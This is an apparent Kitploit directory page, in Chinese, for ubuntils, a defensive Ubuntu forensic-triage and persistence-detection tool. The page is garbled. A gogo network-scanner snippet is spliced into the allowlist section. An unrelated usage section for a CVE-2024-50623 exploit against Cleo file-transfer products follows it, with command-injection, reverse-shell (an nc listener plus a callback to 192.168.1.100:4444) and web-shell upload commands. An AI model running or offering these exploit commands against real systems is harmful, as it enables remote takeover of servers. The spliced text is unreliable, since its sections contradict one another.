Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ubuntils — 用于 Ubuntu 系统取证分诊的 Python CLI/TUI —— 检测并修复持久化机制,具备工件收集、时间线关联和 Wazuh 集成功能。 | Kitploit
工具/GitHubGitHub/asmitdesai/ubuntils
防御工具危害指标 (IOC) 管理持久化机制漏洞分析脚本与自动化配置审计取证分析数字取证事件响应日志分析
GitHubasmitdesai/ubuntils

ubuntils

59522天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

用于 Ubuntu 系统取证分诊的 Python CLI/TUI —— 检测并修复持久化机制,具备工件收集、时间线关联和 Wazuh 集成功能。

查看仓库

ubuntils

针对运行中的 Ubuntu 系统的取证分诊——在 5 秒内完成自动化工件收集、持久化检测和引导式修复。

CI Python Tests Coverage License Arch Ubuntu Offline analysis Detection rules SIEM


问题所在

当你怀疑一台 Linux 系统已被入侵时,最初的 30-40 分钟通常都花在按顺序运行同样的十条命令上:检查运行中的进程、查找异常的 cron 任务、grep 查找 LD_PRELOAD、扫描 authorized_keys 中的新条目、审计 sudoers。每一步都是手动的、需要切换上下文,而且在压力下容易出错。漏掉一个来源——比如只看了 /etc/sudoers 而没看 /etc/sudoers.d/,或者只看了 /etc/cron.d/ 而没看用户 crontab——你得到的就是一幅不完整的图景。

现有的方案无法干净利落地解决这个问题。lynis 是一个加固审计工具,而不是分诊工具——它在干净系统上报告配置弱点,在已被入侵的系统上则产生大量噪音。chkrootkit 和 rkhunter 检查已知的 rootkit 特征,但对新型持久化技术视而不见,比如被滥用的 systemd 定时器或看似合法的 cron 条目。通用 SIEM 查询需要日志基础设施,而你正在查看的系统上可能并不存在这些设施。而像 Volatility 这样的取证套件针对的是内存镜像,而不是运行中主机上的实时 shell。

这个空白正是一款工具需要填补的:它现在就在实时系统上运行,覆盖最常见的持久化途径,将跨日志来源的活动关联成时间线,并准确告诉你该看什么——无需外部代理、数据库或互联网连接。


ubuntils 的功能

ubuntils 按四个连续阶段运行:

  1. 收集——十一个收集器并发地从 /proc、cron 表、systemd 单元、SSH 密钥、sudoers 文件、环境定义、软件包完整性(dpkg --verify)、PAM/NSS 配置以及已加载的内核模块中收集取证工件。在典型系统上大约需要 2.5 秒。
  2. 检测——检测引擎对收集到的工件运行全部十六条内置规则——外加任何通过 --rules 加载的自定义规则——在大约一秒内生成一份按优先级排序、带置信度评分的发现列表。
  3. 时间线——时间线构建器并行读取 syslog、journald 和 auditd,并按时间顺序关联事件,大约增加 0.3 秒。随后每条发现都会自动与时间线进行关联,因此它会携带与之相关的附近事件。
  4. 输出——结果以交互式四标签 TUI(默认)显示,或以结构化 JSON 输出到 stdout(--json)。

ubuntils 本身不进行任何网络调用,而且每一项功能——包括自定义规则和关联——都针对本地收集的工件运行。发现结果离开主机的唯一途径是 Wazuh 集成:如果安装了 Wazuh 代理,一次实时 scan 会将其发现写入本地文件,然后由该代理将其发送到其管理器。传入 --no-wazuh 可在某次运行中关闭该功能。

ubuntils scan 不受以下任何内容影响——它仍然是 100% 实时、单主机的,且所有现有标志的行为完全相同。另外两个命令 collect 和 analyze 将相同的检测/时间线流水线拆分为一个适合离线的“先采集后分析”工作流,适用于你无法(或不想)在受调查主机上直接运行检测的情况——请参阅下方的离线分析:collect 和 analyze,包括其检测覆盖范围的注意事项。


安装

Ubuntu 22.04+ 以及任何具有 PEP 668 的系统(推荐):

Ubuntu 22.04+ 会阻止系统范围的 pip install。请使用 pipx——它会透明地处理环境,让你无需操心:```bash sudo apt install pipx -y cd ubuntils pipx install -e . ubuntils scan

**旧系统 / 手动安装:**```bash
git clone https://github.com/asmitdesai/ubuntils.git
cd ubuntils
pip install -r requirements.txt -e .
ubuntils scan

ubuntils 需要 root 权限才能完整访问所有工件。如果你以非 root 用户运行 ubuntils scan,它会自动使用相同的 Python 解释器(通过绝对路径)以 sudo 重新调用自身,因此会使用正确的环境,而不会将你的 PATH 转发到 root 进程中。每个外部命令(ss、dpkg、systemctl 等)都在固定的、root 拥有的搜索路径上解析,绝不会使用你的 PATH。不以 root 运行将跳过 /etc/shadow、部分 /proc 条目以及受保护的 cron 文件,并会为每一项记录警告。


快速开始

仅检测 — 交互式 TUI:```bash sudo ubuntils scan

**使用 JSON 输出检测并将结果保存到文件:**```bash
sudo ubuntils scan --json > /tmp/triage-$(hostname)-$(date +%Y%m%d).json

使用 CLI 修复预览进行检测(试运行 — 未应用任何更改):```bash sudo ubuntils scan --remediate

**应用 CLI 修复后的检测:**```bash
sudo ubuntils scan --remediate --confirm

打印版本:```bash ubuntils version

**收集防篡改证据包以供后续或离线分析:**```bash
sudo ubuntils collect --output /path/to/bundle.tar.gz

分析先前收集的捆绑包(无需 root):```bash ubuntils analyze /path/to/bundle.tar.gz --json

**分析已挂载的取证镜像或提取的文件系统树,而非捆绑包:**```bash
ubuntils analyze --root /mnt/forensic-image --json

参见离线分析:收集与分析了解捆绑包格式,以及——重要的是——与实时 scan 相比,离线分析无法检测到的内容。


标志与配置```

ubuntils scan [OPTIONS] --json Output JSON to stdout instead of launching the TUI --output FILE Write the JSON report to FILE (implies --json) --remediate Run the remediation engine after detection --confirm Required with --remediate to actually apply changes (else dry-run) --min-confidence N Only auto-remediate findings with confidence >= N (default 40) --no-wazuh Never forward findings to a local Wazuh agent --config FILE YAML allowlist of findings to suppress (see below) --baseline FILE YAML baseline of environment-specific known-good fingerprints to suppress (see below) --since TIME Limit the timeline to events since TIME (e.g. '24h', '7d', '2026-05-20') --rules FILE YAML file of custom detection rules to add (see below) --verbose Verbose structlog output

ubuntils collect [OPTIONS] --output FILE Bundle path to write (default ./ubuntils-bundle-.tar.gz) --verbose Verbose structlog output

ubuntils analyze (BUNDLE | --root PATH) [OPTIONS] --root PATH Analyze a mounted image / artifact tree instead of a bundle --json Output JSON instead of launching the TUI --output FILE Write the JSON report to FILE (implies --json) --config FILE YAML allowlist of findings to suppress (same format as scan) --baseline FILE YAML baseline of environment-specific known-good fingerprints to suppress (same format as scan) --rules FILE YAML file of custom detection rules to add (same format as scan) --since TIME Limit the timeline to events since TIME (e.g. '24h', '7d', '2026-05-20') --verbose Verbose structlog output

ubuntils version Print version string and exit

### 误报允许列表(`--config`)

新配置或由 CI 管理的主机会产生预期内的噪声——部署密钥、配置 crontab、内置 shell 初始化。与其让响应人员学会在脑中过滤这些内容,不如通过 YAML 允许列表显式抑制:```yaml
# allowlist.yaml
allowlist:
  rules:
    - SHELL_RC_MODIFICATION          # suppress this rule entirely
  paths:
    - /home/ci/.ssh/authorized_keys  # suppress any finding on this exact path

使用

安装

go install github.com/chainreactors/gogo/v2@latest

快速开始

gogo -i 192.168.1.1/24 -p top2

帮助

gogo -h

示例

gogo -i 192.168.1.1/24 -p top2 -f active
``````bash
sudo ubuntils scan --json --config allowlist.yaml

抑制始终是显式的——通过规则 ID 和/或精确的产物路径。不存在一刀切的“忽略一切”开关。示例位于 examples/allowlist.yaml。

已知良好基线(--baseline)

--config 会在任何人在此代码库上运行 ubuntils 时,在所有位置抑制某条规则或路径。--baseline 范围更窄且特定于环境:它表示“在此环境中,这个确切的产物——这个 SSH 密钥、这个 RC 文件——是已知良好的”,而不会为使用同一工具扫描的所有其他主机静音该规则或路径。将其与 --config 分开保存为单独文件,原因与 --rules 单独保存相同:抑制与规则级允许列表是不同的关注点,不应放在同一个文件中。```yaml

baseline.yaml

baseline:

  • rule_id: SSH_UNAUTHORIZED_KEY fingerprint: ci@ci-runner # substring match against the finding's raw_value
  • rule_id: SHELL_RC_MODIFICATION fingerprint: /home/deploy/.bashrc # exact match against the finding's artifact_path
## 漏洞利用

### 漏洞利用 - 命令注入

```bash
python3 CVE-2024-50623.py -u http://target.com -c "id"

漏洞利用 - 反向 Shell

# 在攻击者机器上启动监听器
nc -lvnp 4444

# 触发反向 shell
python3 CVE-2024-50623.py -u http://target.com -r 192.168.1.100:4444

漏洞利用 - 文件上传

python3 CVE-2024-50623.py -u http://target.com -f shell.jsp

选项

-u, --url       目标 URL
-c, --cmd       要执行的命令
-r, --reverse   反向 shell 主机:端口
-f, --file      要上传的文件
-t, --timeout   请求超时时间(默认:10)
-v, --verbose   启用详细输出

受影响版本

  • Cleo Harmony < 5.8.0.21
  • Cleo VLTrader < 5.8.0.21
  • Cleo LexiCom < 5.8.0.21

修复方案

将 Cleo 产品更新至 5.8.0.21 或更高版本。

参考资料

  • CVE-2024-50623
  • Cleo 安全公告

免责声明

下载工具